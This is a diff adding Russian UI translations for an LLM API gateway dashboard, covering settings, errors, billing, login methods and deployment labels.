+    "Existing Models ({{count}})": "Существующие модели ({{count}})",
+    "Exists": "Существует",
+    "Expected a JSON array.": "Ожидается JSON-массив.",
+    "Experiment with prompts and models in real time.": "Экспериментируйте с промптами и моделями в реальном времени.",
+    "Expiration Time": "Время истечения срока действия",
+    "expired": "истек",
+    "Expired": "Просрочено",
+    "Expired at": "Истекает",
+    "Expired time cannot be earlier than current time": "Время истечения срока действия не может быть раньше текущего времени",
+    "Expires": "Истекает",
+    "Expose grouped Uptime Kuma status pages directly on the dashboard": "Отображать сгруппированные страницы статуса Uptime Kuma непосредственно на панели управления",
+    "Expose ratio API": "Интерфейс экспонирования коэффициента",
+    "Exposes the pricing/models catalog in the top navigation.": "Отображает каталог цен/моделей в верхней навигации.",
+    "Expression billing": "Тарификация по выражению",
+    "Expression editor": "Редактор выражения",
+    "Expression error": "Ошибка выражения",
+    "Extend": "Продлить",
+    "Extend deployment": "Продлить развертывание",
+    "Extend failed": "Не удалось продлить",
+    "Extended successfully": "Продлено успешно",
+    "External Device": "Внешнее устройство",
+    "External link for users to purchase quota": "Внешняя ссылка для пользователей для покупки квоты",
+    "External operations": "Внешние операции",
+    "External operations mode": "Режим внешних операций",
+    "External Speed Test": "Внешний тест скорости",
+    "Extra": "Дополнительно",
+    "Extra Notes (Optional)": "Дополнительные примечания (необязательно)",
+    "Fail Reason": "Причина сбоя",
+    "Fail Reason Details": "Детали причины сбоя",
+    "Failed": "Неудача",
+    "Failed to {{action}} user": "Не удалось выполнить {{action}} для пользователя",
+    "Failed to adjust quota": "Не удалось изменить квоту",
+    "Failed to apply overwrite.": "Не удалось применить перезапись.",
+    "Failed to bind email": "Не удалось привязать email",
+    "Failed to change password": "Не удалось изменить пароль",
+    "Failed to check for updates": "Не удалось проверить обновления",
+    "Failed to clean logs": "Не удалось очистить логи",
+    "Failed to complete order": "Не удалось завершить заказ",
+    "Failed to complete Passkey login": "Не удалось завершить вход с Passkey",
+    "Failed to contact GitHub releases API": "Не удалось связаться с API GitHub Releases",
+    "Failed to copy": "Не удалось скопировать",
+    "Failed to copy channel": "Не удалось скопировать канал",
+    "Failed to copy keys": "Не удалось скопировать ключи",
+    "Failed to copy model names": "Не удалось скопировать названия моделей",
+    "Failed to copy to clipboard": "Не удалось скопировать в буфер обмена",
+    "Failed to create API key": "Не удалось создать API ключ",
+    "Failed to create channel": "Не удалось создать канал",
+    "Failed to create deployment": "Не удалось создать развертывание",
+    "Failed to create provider": "Не удалось создать поставщика",
+    "Failed to create redemption code": "Не удалось создать код активации",
+    "Failed to create user": "Не удалось создать пользователя",
+    "Failed to delete {{count}} model(s)": "Не удалось удалить {{count}} моделей",
+    "Failed to delete account": "Не удалось удалить аккаунт",
+    "Failed to delete API key": "Не удалось удалить API ключ",
+    "Failed to delete API keys": "Не удалось удалить API ключи",
+    "Failed to delete channel": "Не удалось удалить канал",
+    "Failed to delete disabled channels": "Не удалось удалить отключённые каналы",
+    "Failed to delete invalid redemption codes": "Не удалось удалить недействительные коды активации",
+    "Failed to delete model": "Не удалось удалить модель",
+    "Failed to delete provider": "Не удалось удалить поставщика",
+    "Failed to delete redemption code": "Не удалось удалить код активации",
+    "Failed to delete user": "Не удалось удалить пользователя",
+    "Failed to delete vendor": "Не удалось удалить поставщика",
+    "Failed to disable {{count}} model(s)": "Не удалось отключить {{count}} моделей",
+    "Failed to disable 2FA": "Не удалось отключить 2FA",
+    "Failed to disable channels": "Не удалось отключить каналы",
+    "Failed to disable model": "Не удалось отключить модель",
+    "Failed to disable tag channels": "Не удалось отключить каналы тегов",
+    "Failed to discover OIDC endpoints": "Не удалось обнаружить конечные точки OIDC",
+    "Failed to enable {{count}} model(s)": "Не удалось включить {{count}} моделей",
+    "Failed to enable 2FA": "Не удалось включить 2FA",
+    "Failed to enable channels": "Не удалось включить каналы",
+    "Failed to enable model": "Не удалось включить модель",
+    "Failed to enable tag channels": "Не удалось включить каналы тегов",
+    "Failed to fetch checkin status": "Не удалось получить статус регистрации",
+    "Failed to fetch deployment details": "Не удалось получить сведения о развертывании",
+    "Failed to fetch models": "Не удалось получить модели",
+    "Failed to fetch OIDC configuration. Please check the URL and network status": "Не удалось получить конфигурацию OIDC. Проверьте URL и состояние сети",
+    "Failed to fetch upstream prices": "Не удалось получить цены провайдера",
+    "Failed to fetch upstream ratios": "Не удалось получить коэффициенты upstream",
+    "Failed to fetch usage": "Не удалось получить данные об использовании",
+    "Failed to fetch user information": "Не удалось получить данные пользователя",
+    "Failed to fix abilities": "Не удалось исправить способности",
+    "Failed to generate token": "Не удалось сгенерировать токен",
+    "Failed to initialize OAuth": "Не удалось инициализировать OAuth",
+    "Failed to initialize system": "Не удалось инициализировать систему",
+    "Failed to load": "Не удалось загрузить",
+    "Failed to load API keys": "Не удалось загрузить API ключи",
+    "Failed to load billing history": "Не удалось загрузить историю платежей",
+    "Failed to load home page content": "Не удалось загрузить содержимое главной страницы",
+    "Failed to load image": "Не удалось загрузить изображение",
+    "Failed to load logs": "Не удалось загрузить логи",
+    "Failed to load Passkey status": "Не удалось загрузить статус Passkey",
+    "Failed to load profile": "Не удалось загрузить профиль",
+    "Failed to load redemption codes": "Не удалось загрузить коды активации",
+    "Failed to load setup data": "Не удалось загрузить данные настройки",
+    "Failed to load setup status": "Не удалось загрузить статус настройки",
+    "Failed to load tag data": "Не удалось загрузить данные тегов",
+    "Failed to load users": "Не удалось загрузить пользователей",
+    "Failed to parse group items": "Не удалось разобрать элементы группы",
+    "Failed to parse JSON file: {{name}}": "Не удалось проанализировать файл JSON: {{name}}",
+    "Failed to query balance": "Не удалось запросить баланс",
+    "Failed to refresh cache stats": "Не удалось обновить статистику кэша",
+    "Failed to regenerate backup codes": "Не удалось перегенерировать резервные коды",
+    "Failed to register Passkey": "Не удалось зарегистрировать Passkey",
+    "Failed to remove Passkey": "Не удалось удалить Passkey",
+    "Failed to reset 2FA": "Не удалось сбросить 2FA",
+    "Failed to reset model ratios": "Не удалось сбросить коэффициенты модели",
+    "Failed to reset Passkey": "Не удалось сбросить Passkey",
+    "Failed to save": "Не удалось сохранить",
+    "Failed to save announcements": "Не удалось сохранить объявления",
+    "Failed to save API info": "Не удалось сохранить информацию API",
+    "Failed to save FAQ": "Не удалось сохранить FAQ",
+    "Failed to save Uptime Kuma groups": "Не удалось сохранить группы Uptime Kuma",
+    "Failed to search API keys": "Не удалось найти API ключи",
+    "Failed to search redemption codes": "Не удалось найти коды активации",
+    "Failed to search users": "Не удалось найти пользователей",
+    "Failed to send verification code": "Не удалось отправить код подтверждения",
+    "Failed to set tag": "Не удалось установить тег",
+    "Failed to setup 2FA": "Не удалось настроить 2FA",
+    "Failed to start {{provider}} login": "Не удалось начать вход через {{provider}}",
+    "Failed to start Discord login": "Не удалось начать вход через Discord",
+    "Failed to start GitHub login": "Не удалось начать вход через GitHub",
+    "Failed to start LinuxDO login": "Не удалось начать вход через LinuxDO",
+    "Failed to start OIDC login": "Не удалось начать вход через OIDC",
+    "Failed to start Passkey login": "Не удалось начать вход с Passkey",
+    "Failed to start Passkey registration": "Не удалось начать регистрацию Passkey",
+    "Failed to start testing all channels": "Не удалось начать тестирование всех каналов",
+    "Failed to sync prices": "Не удалось синхронизировать цены",
+    "Failed to sync ratios": "Не удалось синхронизировать коэффициенты",
+    "Failed to test all channels": "Не удалось протестировать все каналы",
+    "Failed to test channel": "Не удалось протестировать канал",
+    "Failed to update all balances": "Не удалось обновить все балансы",
+    "Failed to update API key": "Не удалось обновить API ключ",
+    "Failed to update API key status": "Не удалось обновить статус API ключа",
+    "Failed to update balance": "Не удалось обновить баланс",
+    "Failed to update channel": "Не удалось обновить канал",
+    "Failed to update models": "Не удалось обновить модели",
+    "Failed to update profile": "Не удалось обновить профиль",
+    "Failed to update provider": "Не удалось обновить поставщика",
+    "Failed to update redemption code": "Не удалось обновить код активации",
+    "Failed to update redemption code status": "Не удалось обновить статус кода активации",
+    "Failed to update setting": "Не удалось обновить настройку",
+    "Failed to update settings": "Не удалось обновить настройки",
+    "Failed to update tag": "Не удалось обновить тег",
+    "Failed to update user": "Не удалось обновить пользователя",
+    "Failure keywords": "Ключевые слова сбоя",
+    "Fair": "Удовлетворительно",
+    "FAQ": "Часто задаваемые вопросы",
+    "FAQ added. Click \"Save Settings\" to apply.": "FAQ добавлен. Нажмите \"Сохранить настройки\" чтобы применить.",
+    "FAQ deleted. Click \"Save Settings\" to apply.": "FAQ удалён. Нажмите \"Сохранить настройки\" чтобы применить.",
+    "FAQ saved successfully": "FAQ сохранён успешно",
+    "FAQ updated. Click \"Save Settings\" to apply.": "FAQ обновлён. Нажмите \"Сохранить настройки\" чтобы применить.",
+    "FastGPT": "FastGPT",
+    "Feature in development": "Функция в разработке",
+    "Fee": "Сбор",
+    "Fee Amount": "Сумма сбора",
+    "Fetch available models for:": "Получить доступные модели для:",
+    "Fetch from Upstream": "Получить из Upstream",
+    "Fetch Models": "Получить модели",
+    "Fetched {{count}} model(s) from upstream": "Получено {{count}} моделей из upstream",
+    "Fetched {{count}} models": "Получено {{count}} моделей",
+    "Fetching prefill groups...": "Загрузка групп предварительного заполнения...",
+    "Fetching upstream prices...": "Получение цен провайдера...",
+    "Fetching upstream ratios...": "Загрузка коэффициентов upstream...",
+    "field": "поле",
+    "Field Mapping": "Сопоставление полей",
+    "Field passthrough controls": "Полевые сквозные элементы управления",
+    "File Search": "Поиск файлов",
+    "Files to Retain": "Файлов для хранения",
+    "Fill All Models": "Заполнить все модели",
+    "Fill Codex CLI / Claude CLI Templates": "Заполнить шаблоны Codex CLI / Claude CLI",
+    "Fill example (all channels)": "Подставить пример (все каналы)",
+    "Fill example (specific channels)": "Подставить пример (указанные каналы)",
+    "Fill in the following info to create a new subscription plan": "Заполните следующую информацию для создания нового плана подписки",
+    "Fill Related Models": "Заполнить связанные модели",
+    "Fill Template": "Заполнить шаблон",
+    "Fill Templates": "Заполнить шаблоны",
+    "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format": "Заполнять thoughtSignature только для каналов Gemini/Vertex, использующих формат OpenAI",
+    "Filled {{count}} model(s)": "Заполнено {{count}} моделей",
+    "Filled {{count}} related model(s)": "Заполнено {{count}} связанных моделей",
+    "Filter": "Фильтр",
+    "Filter by channel ID": "Фильтр по ID канала",
+    "Filter by group": "Фильтр по группе",
+    "Filter by Midjourney task ID": "Фильтр по ID задачи Midjourney",
+    "Filter by model name...": "Фильтр по имени модели...",
+    "Filter by model...": "Фильтровать по модели...",
+    "Filter by name or ID...": "Фильтр по имени или ID...",
+    "Filter by name or key...": "Фильтровать по имени или ключу...",
+    "Filter by name, ID, or key...": "Фильтровать по имени, ID или ключу...",
+    "Filter by price field": "Фильтр по полю цены",
+    "Filter by ratio type": "Фильтровать по типу коэффициента",
+    "Filter by request ID": "Фильтр по ID запроса",
+    "Filter by task ID": "Фильтр по ID задачи",
+    "Filter by token name": "Фильтр по имени токена",
+    "Filter by username": "Фильтр по имени пользователя",
+    "Filter by username, name or email...": "Фильтр по имени пользователя, имени или email...",
+    "Filter Dashboard Models": "Фильтровать модели панели управления",
+    "Filter models by type, endpoint, vendor, group and tags": "Фильтровать модели по типу, точке доступа, поставщику, группе и тегам",
+    "Filter models...": "Фильтровать модели...",
+    "Filter...": "Фильтр...",
+    "Filters": "Фильтры",
+    "Final Consumed": "Итоговое потребление",
+    "Final cost = base × multiplier when conditions match": "Итоговая стоимость = база × множитель, если условия совпадают",
+    "Final price multiplier (0.95 = 5% discount": "Конечный множитель цены (0.95 = скидка 5%",
+    "Fine-tune Midjourney integration and guardrails.": "Тонкая настройка интеграции Midjourney и защитных механизмов.",
+    "Finish Time": "Время завершения",
+    "First/Last Frame to Video": "Первый/последний кадр в видео",
+    "Fix Abilities": "Исправить способности",
+    "Fixed abilities: {{success}} succeeded, {{fails}} failed": "Исправление способностей: {{success}} успешно, {{fails}} неудачно",
+    "Fixed price": "Фиксированная цена",
+    "Fixed price (USD)": "Фиксированная цена (USD)",
+    "FluentRead extension not detected. Please ensure it is installed and active.": "Расширение FluentRead не обнаружено. Убедитесь, что оно установлено и активно.",
+    "Follow the guided steps to prepare your workspace before the first login.": "Следуйте пошаговым инструкциям, чтобы подготовить рабочее пространство перед первым входом.",
+    "Footer": "Подвал",
+    "Footer text displayed at the bottom of pages": "Текст нижнего колонтитула, отображаемый внизу страниц",
+    "footer.columns.about.links.aboutProject": "О проекте",
+    "footer.columns.about.links.contact": "Связаться с нами",
+    "footer.columns.about.links.features": "Возможности",
+    "footer.columns.about.title": "О нас",
+    "footer.columns.docs.links.apiDocs": "Документация API",
+    "footer.columns.docs.links.installation": "Руководство по установке",
+    "footer.columns.docs.links.quickStart": "Быстрый старт",
+    "footer.columns.docs.title": "Документация",
+    "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+    "footer.columns.related.links.neko": "neko-api-key-tool",
+    "footer.columns.related.links.oneApi": "Один API",
+    "footer.columns.related.title": "Связанные проекты",
+    "footer.defaultCopyright": "Все права защищены.",
+    "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment": "Для каналов, добавленных после 10 мая 2025 г., не нужно удалять \".\" из имён моделей при развёртывании",
+    "For private deployments, format: https://fastgpt.run/api/openapi": "Для частных развертываний, формат: https://fastgpt.run/api/openapi",
+    "Force AUTH LOGIN": "Принудительный AUTH LOGIN",
+    "Force Format": "Принудительный формат",
+    "Force format response to OpenAI standard (OpenAI channel only)": "Принудительно форматировать ответ в соответствии со стандартом OpenAI (только для канала OpenAI)",
+    "Force SMTP authentication using AUTH LOGIN method": "Принудительная аутентификация SMTP с использованием метода AUTH LOGIN",
+    "Forgot password": "Забыли пароль",
+    "Forgot password?": "Забыли пароль?",
+    "Form reset to saved values": "Форма сброшена к сохранённым значениям",
+    "Format": "Формат",
+    "Format JSON": "Форматировать JSON",
+    "Format:": "Формат:",
+    "Format: Access Key ID|Secret Access Key": "Формат: Идентификатор ключа доступа|Секретный ключ доступа",
+    "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)": "Формат: AccessKey|SecretKey (или просто ApiKey, если upstream — New API)",
+    "Format: Ak|Sk|Region": "Формат: Ak|Sk|Регион",
+    "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041": "Формат: APIKey-AppId, напр., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041",
+    "Format: APIKey|SecretKey": "Формат: APIKey|SecretKey",
+    "Format: APPID|APISecret|APIKey": "Формат: APPID|APISecret|APIKey",
+    "Format: AppId|SecretId|SecretKey": "Формат: AppId|SecretId|SecretKey",
+    "Forward requests directly to upstream providers without any post-processing.": "Перенаправлять запросы напрямую upstream-провайдерам без какой-либо постобработки.",
+    "Free: {{free}} / Total: {{total}}": "Свободно: {{free}} / Всего: {{total}}",
+    "Friendly name to identify this channel": "Дружественное имя для идентификации этого канала",
+    "From Address": "Отправитель",
+    "From IO.NET deployment": "Из развертывания IO.NET",
+    "From model redirect, not yet added to models list": "Из перенаправления модели, еще не добавлено в список моделей",
+    "Frontend Theme": "Тема интерфейса",
+    "Full API Key": "Полный ключ API",
+    "Full Base URL (supports": "Полный базовый URL (поддерживает",
+    "Full Code": "Полный код",
+    "Functions": "Функции",
+    "GC Count": "Кол-во GC",
+    "GC executed": "GC выполнен",
+    "GC execution failed": "Ошибка выполнения GC",
+    "Gemini": "Gemini",
+    "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.": "Gemini продолжит автоматически определять режим мышления, даже если адаптер отключен. Включайте это только тогда, когда вам нужен более тонкий контроль над ценообразованием и бюджетированием.",
+    "General": "Общие",
+    "General Settings": "Общие настройки",
+    "Generate a Codex OAuth credential and paste it into the channel key field.": "Создайте учётные данные Codex OAuth и вставьте их в поле ключа канала.",
+    "Generate and manage your API access token": "Генерировать и управлять вашим токеном доступа API",
+    "Generate credential": "Создать учётные данные",
+    "Generate Lyrics": "Создать текст песни",
+    "Generate Music": "Создать музыку",
+    "Generate new backup codes for account recovery": "Сгенерировать новые резервные коды для восстановления аккаунта",
+    "Generate New Codes": "Сгенерировать новые коды",
+    "Generated image": "Сгенерированное изображение",
+    "Generating new codes will invalidate all existing backup codes.": "Генерация новых кодов аннулирует все существующие резервные коды.",
+    "Generating...": "Создание...",
+    "Generic cache": "Общий кэш",
+    "Get notified when balance falls below this value": "Получать уведомления, когда баланс опускается ниже этого значения",
+    "Get Started": "Начать",
+    "GitHub": "GitHub",
+    "Give the group a recognizable name and optional description.": "Дайте группе узнаваемое имя и необязательное описание.",
+    "Give this group a recognizable name.": "Дайте этой группе узнаваемое имя.",
+    "Global configuration and administrative tools.": "Глобальная конфигурация и административные инструменты.",
+    "Global Coverage": "Глобальное покрытие",
+    "Global Model Configuration": "Глобальная конфигурация модели",
+    "Go Back": "Назад",
+    "Go back and edit": "Вернуться и изменить",
+    "Go to Dashboard": "Перейти в панель управления",
+    "Go to first page": "Перейти на первую страницу",
+    "Go to io.net API Keys": "Перейти к ключам API io.net",
+    "Go to last page": "Перейти на последнюю страницу",
+    "Go to next page": "Перейти на следующую страницу",
+    "Go to previous page": "Перейти на предыдущую страницу",
+    "Go to settings": "Перейти к настройкам",
+    "Go to Settings": "Перейти к настройкам",
+    "Good": "Хорошо",
+    "Gotify Application Token": "Токен приложения Gotify",
+    "Gotify Documentation": "Документация Gotify",
+    "Gotify Server URL": "URL-адрес сервера Gotify",
+    "gpt-3.5-turbo": "gpt-3.5-turbo",
+    "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+    "gpt-4": "gpt-4",
+    "gpt-4, claude-3-opus, etc.": "gpt-4, claude-3-opus и т. д.",
+    "GPU count": "Количество GPU",
+    "Grok": "Grok",
+    "Grok Settings": "Настройки Grok",
+    "Group": "Группа",
+    "Group & Quota": "Группа и квота",
+    "Group added. Click \"Save Settings\" to apply.": "Группа добавлена. Нажмите \"Сохранить настройки\", чтобы применить.",
+    "Group channels by tag for batch operations": "Группировать каналы по тегу для пакетных операций",
+    "Group config overrides global limits, shares the same period": "Конфигурация группы переопределяет глобальные лимиты, использует тот же период",
+    "Group deleted. Click \"Save Settings\" to apply.": "Группа удалена. Нажмите \"Сохранить настройки\", чтобы применить.",
+    "Group details": "Детали группы",
+    "Group identifier": "Идентификатор группы",
+    "Group is required": "Группа обязательна",
+    "Group name": "Имя группы",
+    "Group Name": "Имя группы",
+    "Group name cannot be changed when editing.": "Имя группы нельзя изменить при редактировании.",
+    "group ratio": "коэффициент группы",
+    "Group Ratio": "Групповой коэффициент",
+    "Group ratios": "Соотношения группы",
+    "Group updated. Click \"Save Settings\" to apply.": "Группа обновлена. Нажмите \"Сохранить настройки\", чтобы применить.",
+    "Group-based rate limits": "Лимиты скорости на основе групп",
+    "Group:": "Группа:",
+    "Group: {{ratio}}x": "Группа: {{ratio}}x",
+    "Groups": "Группы",
+    "Groups *": "Группы *",
+    "Groups that users can select when creating API keys.": "Группы, которые пользователи могут выбрать при создании ключей API.",
+    "Guardrails": "Ограничители",
+    "Guest": "Гость",
+    "h": "h",
+    "Haiku Model": "Модель Haiku",
+    "Hang tight while we finish connecting your account.": "Подождите, пока мы завершим подключение вашего аккаунта.",
+    "Hang tight while we securely link this account to your profile.": "Подождите, пока мы безопасно привяжем этот аккаунт к вашему профилю.",
+    "Hardware": "Аппаратное обеспечение",
+    "Hardware type": "Тип оборудования",
+    "Has been disabled": "Успешно отключено",
+    "Has been enabled": "Успешно включено",
+    "Has been invalidated": "Аннулировано",
+    "Have a Code?": "Есть код?",
+    "Header": "Заголовок",
+    "Header navigation": "Навигация по заголовку",
+    "Header Override": "Переопределение заголовка",
+    "Hidden — verify to reveal": "Скрыто — подтвердите, чтобы показать",
+    "Hide": "Скрыть",
+    "Hide API key": "Скрыть API ключ",
+    "High Performance": "Высокая производительность",
+    "High-risk operation confirmation": "Подтверждение высокорисковой операции",
+    "High-risk status code retry confirmation text": "Я ПОДТВЕРЖДАЮ",
+    "High-risk status code retry input mismatch": "Введённый текст не совпадает, попробуйте ещё раз.",
+    "High-risk status code retry input placeholder": "Пожалуйста, введите текст подтверждения выше",
+    "High-risk status code retry risk check 1": "Я понимаю, что повторные попытки при этих кодах состояния могут привести к обычным начислениям от провайдера, и эти расходы не могут быть возмещены.",
+    "High-risk status code retry risk check 2": "Я понимаю, что эти коды состояния обычно означают, что запрос уже был успешно обработан, и повторная попытка может привести к двойной оплате.",
+    "High-risk status code retry risk check 3": "Я признаю, что эти конфигурации могут привести к значительным финансовым потерям, и принимаю все связанные риски.",
+    "High-risk status code retry risk check 4": "Я тщательно проверил правила перенаправления кодов состояния выше и подтверждаю их правильность.",
+    "High-risk status code retry risk disclaimer": "Следующие правила перенаправления кодов состояния содержат высокорисковые конфигурации. Повторные попытки при этих кодах могут привести к нормальным начислениям от провайдера, которые невозможно вернуть.",
+    "Higher priority channels are selected first": "Каналы с более высоким приоритетом выбираются первыми",
+    "Historical Usage": "История использования",
+    "History of Midjourney-style image tasks.": "История задач генерации изображений в стиле Midjourney.",
+    "Hit criteria: If cached tokens exist in usage, it counts as a hit.": "Критерий попадания: если в usage есть кэшированные токены, это считается попаданием.",
+    "Hit Rate": "Частота попаданий",
+    "Hit tier": "Совпавший уровень",
+    "Home": "Главная",
+    "Home Page Content": "Содержимое главной страницы",
+    "Hostname or IP of your SMTP provider": "Имя хоста или IP-адрес вашего SMTP-провайдера",
+    "Hour": "Час",
+    "hours": "часов",
+    "How client credentials are sent to the token endpoint": "Как учетные данные клиента отправляются на конечную точку токена",
+    "How frequently the system tests all channels": "Как часто система тестирует все каналы",
+    "How It Works": "Как это работает",
+    "How model mapping works": "Как работает сопоставление моделей",
+    "How much to charge for each US dollar of balance (Epay)": "Сколько взимать за каждый доллар США баланса (Epay)",
+    "How this model name should match requests": "Как это имя модели должно соответствовать запросам",
+    "How to get an io.net API Key": "Как получить ключ API io.net",
+    "How to reset my quota?": "Как сбросить мою квоту?",
+    "How to select keys: random or sequential polling": "Как выбирать ключи: случайно или последовательный опрос",
+    "How will you use the platform?": "Как вы будете использовать платформу?",
+    "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+    "https://api.example.com": "https://api.example.com",
+    "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+    "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+    "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+    "https://docs.example.com": "https://docs.example.com",
+    "https://example.com": "https://example.com",
+    "https://example.com/logo.png": "https://example.com/logo.png",
+    "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+    "https://example.com/topup": "https://example.com/topup",
+    "https://example.com/webhook": "https://example.com/webhook",
+    "https://gateway.example.com": "https://gateway.example.com",
+    "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+    "https://gotify.example.com": "https://gotify.example.com",
+    "https://pay.example.com": "https://pay.example.com",
+    "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+    "https://status.example.com": "https://status.example.com",
+    "https://wechat-server.example.com": "https://wechat-server.example.com",
+    "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+    "https://your-server.example.com": "https://your-server.example.com",
+    "Human-readable name shown to users during Passkey prompts.": "Понятное для человека имя, отображаемое пользователям во время запросов Passkey.",
+    "I confirm enabling high-risk retry": "Я подтверждаю включение высокорискового повтора",
+    "I have read and agree to the": "Я прочитал и согласен с",
+    "I understand that disabling 2FA will remove all protection and backup codes": "Я понимаю, что отключение 2FA удалит всю защиту и резервные коды",
+    "Icon": "Значок",
+    "Icon file must be 100 KB or smaller": "Файл иконки должен быть не более 100 КБ",
+    "Icon identifier (e.g. github, gitlab)": "Идентификатор иконки (например, github, gitlab)",
+    "ID": "ID",
+    "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.": "Если ошибка вышестоящего уровня содержит любое из этих ключевых слов (без учета регистра), канал будет автоматически отключен.",
+    "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.": "При успешной авторизации сгенерированный JSON будет вставлен в поле ключа. Сохраните канал, чтобы применить изменения.",
+    "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing": "При подключении к upstream One API или проектам-ретрансляторам New API используйте тип OpenAI, если только вы точно знаете, что делаете",
+    "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.": "Если привязанный канал не работает и повторная попытка удалась через другой канал, привязка обновляется на успешный канал.",
+    "Image": "Изображение",
+    "Image Generation": "Генерация изображений",
+    "Image In": "Вход изображения",
+    "Image input": "Ввод изображения",
+    "Image Out": "Выход изображения",
+    "Image Preview": "Предпросмотр изображения",
+    "Image ratio": "Коэффициент изображения",
+    "Image to Video": "Изображение в видео",
+    "Image Tokens": "Токены изображений",
+    "Import to CC Switch": "Импорт в CC Switch",
+    "In Progress": "Выполняется",
+    "In:": "Вх:",
+    "Include Group": "Включить группу",
+    "Include Model": "Включить модель",
+    "Include Rule Name": "Включить имя правила",
+    "Including failed requests, 0 = unlimited": "Включая неудачные запросы, 0 = без ограничений",
+    "Index": "Индекс",
+    "Initial quota given to new users": "Начальная квота, предоставляемая новым пользователям",
+    "Initialization failed, please try again.": "Инициализация не удалась, попробуйте ещё раз.",
+    "Initialize": "Инициализировать",
+    "Initialize system": "Инициализация системы",
+    "Initializing…": "Инициализация…",
+    "Inpaint": "Инпейнтинг",
+    "Input": "Ввод",
+    "Input mode": "Режим ввода",
+    "Input price": "Цена входа",
+    "Input tokens": "Входные токены",
+    "Input Tokens": "Входные токены",
+    "Inspect user prompts": "Просмотр запросов пользователя",
+    "Instance": "Экземпляр",
+    "Integrations": "Интеграции",
+    "Inter-group overrides": "Переопределения между группами",
+    "Inter-group ratio overrides": "Переопределения соотношений между группами",
+    "Internal notes (not shown to users)": "Внутренние заметки (не показываются пользователям)",
+    "Internal Server Error!": "Внутренняя ошибка сервера!",
+    "Invalid chat link. Please contact the administrator.": "Неверная ссылка на чат. Пожалуйста, обратитесь к администратору.",
+    "Invalid chat link. Please contact your administrator.": "Недействительная ссылка чата. Обратитесь к администратору.",
+    "Invalid code": "Неверный код",
+    "Invalid JSON": "Некорректный JSON",
+    "Invalid JSON format": "Неверный формат JSON",
+    "Invalid JSON format or values out of allowed range": "Неверный формат JSON или значения вне допустимого диапазона",
+    "Invalid JSON in parameter override template": "Недопустимый JSON в шаблоне переопределения параметров",
+    "Invalid JSON string.": "Недопустимая строка JSON.",
+    "Invalid model mapping format": "Неверный формат сопоставления моделей",
+    "Invalid Passkey registration response": "Неверный ответ на регистрацию Passkey",
+    "Invalid Passkey response": "Недопустимый ответ Passkey",
+    "Invalid payment redirect URL": "Недопустимый URL перенаправления для оплаты",
+    "Invalid reset link, please request a new password reset": "Недействительная ссылка для сброса пароля, пожалуйста, запросите сброс пароля заново",
+    "Invalid reset link, please request a new password reset.": "Недействительная ссылка для сброса, пожалуйста, запросите новый сброс пароля.",
+    "Invalid rules JSON format": "Неверный формат JSON правил",
+    "Invalid status code mapping entries: {{entries}}": "Недопустимые записи маппинга кодов состояния: {{entries}}",
+    "Invalidate": "Аннулировать",
+    "Invalidated": "Аннулирована",
+    "Invitation Code": "Код приглашения",
+    "Invitation Quota": "Квота приглашений",
+    "Invite Info": "Информация о приглашении",
+    "Invited": "Приглашен",
+    "Invited by user ID": "Приглашен пользователем с ID",
+    "Invited Users": "Приглашенные пользователи",
+    "Invitee Reward": "Награда приглашенному",
+    "Inviter": "Пригласивший",
+    "Inviter Reward": "Награда приглашающему",
+    "Invites": "Приглашения",
+    "io.net API Key": "Ключ API io.net",
+    "io.net Deployments": "Развертывания io.net",
+    "IP": "IP",
+    "IP Address": "IP-адрес",
+    "IP Filter Mode": "Режим фильтрации IP",
+    "IP Restriction": "Ограничение IP",
+    "IP Whitelist (supports CIDR)": "Белый список IP (поддерживает CIDR)",
+    "is less than the configured maximum cache size": "меньше настроенного максимального размера кэша",
+    "is the default price; ": "— цена по умолчанию; ",
+    "It seems like the page you're looking for": "Похоже, страница, которую вы ищете",
+    "Items": "Элементы",
+    "Japanese": "Японский",
+    "Jimeng": "Jimeng",
+    "Jina": "Jina",
+    "JSON": "JSON",
+    "JSON array of group identifiers. When enabled below, new tokens rotate through this list.": "Массив JSON идентификаторов групп. Если включено ниже, новые токены будут циклически перебираться по этому списку.",
+    "JSON Editor": "Редактирование JSON",
+    "JSON format supports service account JSON files": "Формат JSON поддерживает JSON-файлы сервисного аккаунта",
+    "JSON map of group → description exposed when users create API keys.": "JSON-карта группы → описание, отображаемое при создании пользователями ключей API.",
+    "JSON map of group → ratio applied when the user selects the group explicitly.": "JSON-карта группы → соотношение, применяемое, когда пользователь явно выбирает группу.",
+    "JSON map of model → multiplier applied to quota billing.": "JSON-карта модели → множитель, применяемый к тарификации по квоте.",
+    "JSON map of model → USD cost per request. Takes precedence over ratio based billing.": "JSON-карта модели → стоимость в долларах США за запрос. Имеет приоритет над тарификацией на основе соотношения.",
+    "JSON Mode": "Режим JSON",
+    "JSON must be an object": "JSON должен быть объектом",
+    "JSON object:": "Объект JSON:",
+    "JSON-based access control rules. Leave empty to allow all users.": "Правила контроля доступа на основе JSON. Оставьте пустым, чтобы разрешить всем пользователям.",
+    "Just now": "Только что",
+    "JustSong": "JustSong",
+    "K": "K",
+    "Keep enabled if you need to proxy requests for different upstream accounts.": "Оставьте включённым, если нужно проксировать запросы для разных upstream-аккаунтов.",
